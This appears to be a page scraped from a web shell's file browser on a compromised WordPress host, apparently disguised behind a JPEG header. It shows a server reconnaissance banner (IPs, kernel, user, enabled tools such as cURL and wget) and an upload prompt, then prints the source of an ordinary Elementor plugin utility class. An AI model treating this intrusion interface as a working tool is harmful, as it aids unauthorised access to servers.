????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/cwd/wp-content/plugins/elementor/modules/atomic-widgets/ |
Upload File : |
<?php namespace Elementor\Modules\AtomicWidgets; use Elementor\Modules\AtomicWidgets\Elements\Atomic_Element_Base; use Elementor\Modules\AtomicWidgets\Elements\Atomic_Widget_Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Utils { public static function is_atomic( $element_instance ): bool { return $element_instance instanceof Atomic_Element_Base || $element_instance instanceof Atomic_Widget_Base; } public static function generate_id( string $prefix = '', $existing_ids = [] ): string { do { $generated = substr( bin2hex( random_bytes( 4 ) ), 0, 7 ); $id = "$prefix{$generated}"; } while ( in_array( $id, $existing_ids, true ) ); return $id; } }